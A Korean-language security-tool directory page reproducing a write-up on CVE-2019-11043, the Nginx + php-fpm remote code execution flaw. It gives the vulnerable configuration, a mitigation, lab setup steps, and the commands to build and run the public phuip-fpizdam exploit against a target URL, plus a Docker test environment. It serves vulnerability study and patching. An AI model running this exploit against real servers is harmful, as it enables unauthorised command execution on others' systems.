Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2019-11043 — CVE-2019-11043 PHP 원격 코드 실행 | Kitploit
도구/GitHubGitHub/shadow-horse/cve-2019-11043
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubshadow-horse/cve-2019-11043

cve-2019-11043

CVE-2019-11043 PHP 원격 코드 실행

저장소 보기
116년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PHP 원격 코드 실행 취약점 (CVE-2019-11043)

1. 배경

9월 26일, PHP 공식에서 취약점 공지를 발표했으며, 여기서 Nginx + php-fpm을 사용하는 서버가 일부 구성에서 원격 코드 실행 취약점이 존재한다고 지적했습니다. 또한 이 구성은 널리 사용되어 피해가 큽니다.

취약점 PoC는 10월 22일에 공개되었으며, 국내 보안 미디어에서 신속하게 경보를 발표했습니다.

2. 취약점 설명

Nginx에서 fastcgi_split_path_info가 %0a를 포함한 요청을 처리할 때, 개행 문자 \n을 만나면 PATH_INFO가 비어 있게 됩니다. php-fpm은 PATH_INFO가 비어 있는 경우를 처리할 때 논리적 결함이 있습니다. 공격자는 정교한 구성과 이용을 통해 원격 코드 실행을 유발할 수 있습니다.

Nginx + php-fpm 서버가 다음과 같은 구성을 사용하는 경우 원격 코드 실행 취약점이 존재할 수 있습니다.

root@kitploit:~
 location ~ [^/]\.php(/|$) {

    fastcgi_split_path_info ^(.+?\.php)(/.*)$;

    fastcgi_param PATH_INFO       $fastcgi_path_info;

    fastcgi_pass   php:9000;

    ...
}

3. 해결 방법

정상 업무에 영향을 미치지 않는 경우, Nginx 구성 파일에서 다음 구성을 삭제하십시오:

root@kitploit:~
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

4. GitHub에 공개된 PoC

github: https://github.com/neex/phuip-fpizdam

해당 PoC는 FastCGI 변수 _fcgi_data_seg의 최적화를 이용하며, 이 최적화는 PHP7에만 존재하므로 공개된 익스플로잇은 PHP7에서만 유효하며, PHP5 환경에서는 별도의 익스플로잇이 필요합니다.

5. 취약점 재현

1. NGINX+PHP-FPM(php7) 구성

환경을 구성하고 nginx + php-fpm을 구축하여 작업이 유효한지 확인합니다.

  1. php7 다운로드, 압축 풀고 디렉토리로 이동

    root@kitploit:~
     wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
     tar -xzvf php-7.2.4.tar.gz
    
  2. 압축, ssl 등 관련 의존 패키지 설치

    root@kitploit:~
     yum install -y libxml2*
     yum install -y openssl*
     yum install -y libcurl*
     yum install -y libjpeg*
     yum install -y libpng*
     yum install -y freetype*
     yum install -y libmcrypt*
    
  3. configure로 소스 코드 컴파일

    root@kitploit:~
     ./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
    
     make & make install
    
  4. php-fpm 구성, 여러 PHP를 구성하는 경우 포트 9000을 9001로 수정 가능

    root@kitploit:~
     php-fpm 구성 파일 수정:
     $ cd /usr/local/php/etc
     $ cp php-fpm.conf.default php-fpm.conf
     $ vi php-fpm.conf
     去掉 pid = run/php-fpm.pid 前面的分号
     $ cd php-fpm.d
     $ cp www.conf.default www.conf  (修改端口)
     $ vi www.conf
     修改user和group的用户为非root用户
    
  5. ./php-fpm

2. 취약한 PHP 해석 구성

nginx.conf에 다음 구성을 추가하십시오:

root@kitploit:~
location ~ [^/]\.php(/|$) {
        root /opt/apache/www;
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO  $fastcgi_path_info;
        fastcgi_pass   127.0.0.1:9001;
        include     fastcgi_params;
     }

nginx 재시작

  1. Go 설치, PoC 코드 컴파일

    root@kitploit:~
     go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)
    
     go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
    
  2. PoC 실행

    root@kitploit:~
     ./phuip-fpizdam http://website.com/index.php
     ./phuip-fpizdam http://website.com/index.php?a=command
    

[안타깝게도 구성 환경에 문제가 있어 검증 실패]

root@kitploit:~
	2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong

4. Docker 통합 검증 환경

원본 링크: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

  1. 해당 Docker 프로젝트 파일 다운로드

  2. docker-compose up -d로 Docker 컨테이너 실행

  3. 프로그램 실행, 실행 성공 표시, 취약점을 이용하여 명령어 "id" 실행 결과 반환

  4. Docker 서비스 종료 docker ps docker stop id

도구 다운로드